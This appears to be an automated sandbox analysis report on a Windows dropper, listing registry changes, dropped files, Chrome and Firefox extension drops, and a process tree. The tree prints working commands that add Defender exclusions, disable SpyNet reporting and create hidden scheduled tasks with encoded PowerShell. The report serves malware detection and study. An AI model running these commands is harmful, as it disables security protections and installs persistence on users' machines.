e4a445576cdb625b8d6b4da226f0a19e6b6a7e85892f88614cdc94eb5140df24

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	CzSJLdI.exe

Loads dropped DLL 1 IoCs

pid	Process
388	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	CzSJLdI.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	CzSJLdI.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	CzSJLdI.exe

Drops file in System32 directory 31 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	CzSJLdI.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_A49E2928C282F3D7B74BA1083F81B152	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3B8C7C973B30115D9F846695C38BBC1F	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_7D7374C3BD488A38BC34DD9B008EDC62	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_7987E17ED77D800093D5BF3096E78D98	CzSJLdI.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_A49E2928C282F3D7B74BA1083F81B152	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_7D7374C3BD488A38BC34DD9B008EDC62	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_7987E17ED77D800093D5BF3096E78D98	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	CzSJLdI.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	pebsMbu.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	pebsMbu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3B8C7C973B30115D9F846695C38BBC1F	CzSJLdI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	CzSJLdI.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	CzSJLdI.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	CzSJLdI.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	CzSJLdI.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	CzSJLdI.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	CzSJLdI.exe
File created	C:\Program Files (x86)\mbQXQWfiU\YNpopAg.xml	CzSJLdI.exe
File created	C:\Program Files (x86)\yaZvCAUzKqxU2\hgtOwknLRPAog.dll	CzSJLdI.exe
File created	C:\Program Files (x86)\ZsZOnrmVuUzLFCeGJOR\udlgYnO.xml	CzSJLdI.exe
File created	C:\Program Files (x86)\ZsZOnrmVuUzLFCeGJOR\IuJrXoy.dll	CzSJLdI.exe
File created	C:\Program Files (x86)\pqzHHOUJlDLoC\UBHgBPs.dll	CzSJLdI.exe
File created	C:\Program Files (x86)\mbQXQWfiU\gOkLPo.dll	CzSJLdI.exe
File created	C:\Program Files (x86)\yaZvCAUzKqxU2\nJwiuKL.xml	CzSJLdI.exe
File created	C:\Program Files (x86)\pqzHHOUJlDLoC\FuYVZxE.xml	CzSJLdI.exe
File created	C:\Program Files (x86)\LNUBGVQNDOUn\OaBMxKU.dll	CzSJLdI.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\JApWNoHZsVVCavdbE.job	schtasks.exe
File created	C:\Windows\Tasks\VifYLfsFUZBOnFr.job	schtasks.exe
File created	C:\Windows\Tasks\WxeKxhacHpvHIAGHf.job	schtasks.exe
File created	C:\Windows\Tasks\bvlIjxbhjqoskMIGsW.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1560	schtasks.exe
1276	schtasks.exe
3904	schtasks.exe
4536	schtasks.exe
960	schtasks.exe
4912	schtasks.exe
2156	schtasks.exe
756	schtasks.exe
3228	schtasks.exe
3564	schtasks.exe
2576	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	CzSJLdI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	CzSJLdI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	CzSJLdI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	CzSJLdI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	CzSJLdI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	CzSJLdI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	CzSJLdI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
432	powershell.EXE
432	powershell.EXE
4952	powershell.exe
4952	powershell.exe
388	powershell.exe
388	powershell.exe
4260	powershell.EXE
4260	powershell.EXE
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe
4832	CzSJLdI.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	432	powershell.EXE
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	388	powershell.exe
Token: SeDebugPrivilege	4260	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4540 wrote to memory of 4928	4540	file.exe	83
PID 4540 wrote to memory of 4928	4540	file.exe	83
PID 4540 wrote to memory of 4928	4540	file.exe	83
PID 4928 wrote to memory of 4916	4928	Install.exe	84
PID 4928 wrote to memory of 4916	4928	Install.exe	84
PID 4928 wrote to memory of 4916	4928	Install.exe	84
PID 4916 wrote to memory of 3956	4916	Install.exe	85
PID 4916 wrote to memory of 3956	4916	Install.exe	85
PID 4916 wrote to memory of 3956	4916	Install.exe	85
PID 4916 wrote to memory of 1556	4916	Install.exe	88
PID 4916 wrote to memory of 1556	4916	Install.exe	88
PID 4916 wrote to memory of 1556	4916	Install.exe	88
PID 3956 wrote to memory of 1100	3956	forfiles.exe	89
PID 3956 wrote to memory of 1100	3956	forfiles.exe	89
PID 3956 wrote to memory of 1100	3956	forfiles.exe	89
PID 1100 wrote to memory of 4256	1100	cmd.exe	90
PID 1100 wrote to memory of 4256	1100	cmd.exe	90
PID 1100 wrote to memory of 4256	1100	cmd.exe	90
PID 1556 wrote to memory of 4692	1556	forfiles.exe	92
PID 1556 wrote to memory of 4692	1556	forfiles.exe	92
PID 1556 wrote to memory of 4692	1556	forfiles.exe	92
PID 1100 wrote to memory of 3892	1100	cmd.exe	91
PID 1100 wrote to memory of 3892	1100	cmd.exe	91
PID 1100 wrote to memory of 3892	1100	cmd.exe	91
PID 4692 wrote to memory of 1476	4692	cmd.exe	94
PID 4692 wrote to memory of 1476	4692	cmd.exe	94
PID 4692 wrote to memory of 1476	4692	cmd.exe	94
PID 4692 wrote to memory of 2148	4692	cmd.exe	93
PID 4692 wrote to memory of 2148	4692	cmd.exe	93
PID 4692 wrote to memory of 2148	4692	cmd.exe	93
PID 4916 wrote to memory of 2156	4916	Install.exe	95
PID 4916 wrote to memory of 2156	4916	Install.exe	95
PID 4916 wrote to memory of 2156	4916	Install.exe	95
PID 4916 wrote to memory of 316	4916	Install.exe	97
PID 4916 wrote to memory of 316	4916	Install.exe	97
PID 4916 wrote to memory of 316	4916	Install.exe	97
PID 432 wrote to memory of 2908	432	powershell.EXE	101
PID 432 wrote to memory of 2908	432	powershell.EXE	101
PID 4916 wrote to memory of 1836	4916	Install.exe	112
PID 4916 wrote to memory of 1836	4916	Install.exe	112
PID 4916 wrote to memory of 1836	4916	Install.exe	112
PID 4916 wrote to memory of 756	4916	Install.exe	114
PID 4916 wrote to memory of 756	4916	Install.exe	114
PID 4916 wrote to memory of 756	4916	Install.exe	114
PID 3436 wrote to memory of 4952	3436	pebsMbu.exe	118
PID 3436 wrote to memory of 4952	3436	pebsMbu.exe	118
PID 3436 wrote to memory of 4952	3436	pebsMbu.exe	118
PID 4952 wrote to memory of 1216	4952	powershell.exe	120
PID 4952 wrote to memory of 1216	4952	powershell.exe	120
PID 4952 wrote to memory of 1216	4952	powershell.exe	120
PID 1216 wrote to memory of 2972	1216	cmd.exe	121
PID 1216 wrote to memory of 2972	1216	cmd.exe	121
PID 1216 wrote to memory of 2972	1216	cmd.exe	121
PID 4952 wrote to memory of 1100	4952	powershell.exe	122
PID 4952 wrote to memory of 1100	4952	powershell.exe	122
PID 4952 wrote to memory of 1100	4952	powershell.exe	122
PID 4952 wrote to memory of 1584	4952	powershell.exe	123
PID 4952 wrote to memory of 1584	4952	powershell.exe	123
PID 4952 wrote to memory of 1584	4952	powershell.exe	123
PID 4952 wrote to memory of 4620	4952	powershell.exe	124
PID 4952 wrote to memory of 4620	4952	powershell.exe	124
PID 4952 wrote to memory of 4620	4952	powershell.exe	124
PID 4952 wrote to memory of 4708	4952	powershell.exe	125
PID 4952 wrote to memory of 4708	4952	powershell.exe	125

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Users\Admin\AppData\Local\Temp\7zS72A4.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Users\Admin\AppData\Local\Temp\7zS7861.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3956
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1100
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:4256
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:3892
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1556
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4692
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:2148
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1476
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gCOjHEOfu" /SC once /ST 03:50:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:2156
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gCOjHEOfu"
      4⤵
      PID:316
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gCOjHEOfu"
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bvlIjxbhjqoskMIGsW" /SC once /ST 18:52:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\mlVNeEAaSntXOMWdx\WVOoIgfXlsowUee\pebsMbu.exe\" Fi /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:432
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:2908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4836

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1564

C:\Users\Admin\AppData\Local\Temp\mlVNeEAaSntXOMWdx\WVOoIgfXlsowUee\pebsMbu.exe
C:\Users\Admin\AppData\Local\Temp\mlVNeEAaSntXOMWdx\WVOoIgfXlsowUee\pebsMbu.exe Fi /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
